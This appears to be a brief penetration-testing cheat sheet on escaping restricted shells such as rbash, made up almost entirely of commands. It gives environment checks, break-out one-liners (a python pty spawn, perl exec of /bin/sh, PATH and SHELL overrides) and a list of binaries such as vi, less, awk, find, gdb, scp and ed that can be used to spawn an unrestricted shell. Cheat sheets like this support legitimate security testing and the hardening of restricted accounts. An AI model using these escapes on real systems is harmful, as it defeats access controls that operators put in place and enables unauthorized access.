Restricted shell escape
check what you can do:
echo $PATH
echo $SHELL
echo $ENV
ls -al bin
Try and break out:
python -c 'import pty;pty.spawn("/bin/bash")'
perl -e 'exec "/bin/sh";'
export PATH=/bin:/usr/bin:/sbin:$PATH
export SHELL=/bin/sh
set PATH=/bin:/usr/bin:/sbin:$PATH
set SHELL=/bin/sh
cp /bin/sh /current/directory; sh
Taking help of binaries
Some commands let us execute other system commands, often bypassing shell restrictions
ftp -> !/bin/sh
gdb -> !/bin/sh
more/ less/ man -> !/bin/sh
vi -> :!/bin/sh : Refer Breaking out of Jail : Restricted Shell and Restricted Accounts and Vim Tricks in Linux and Unix
scp -S /tmp/getMeOut.sh x y : Refer Breaking out of rbash using scp
awk ‘BEGIN {system(“/bin/sh”)}’
find / -name someName -exec /bin/sh ;
tee
ed --> !'/bin/bash' --> export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Last updated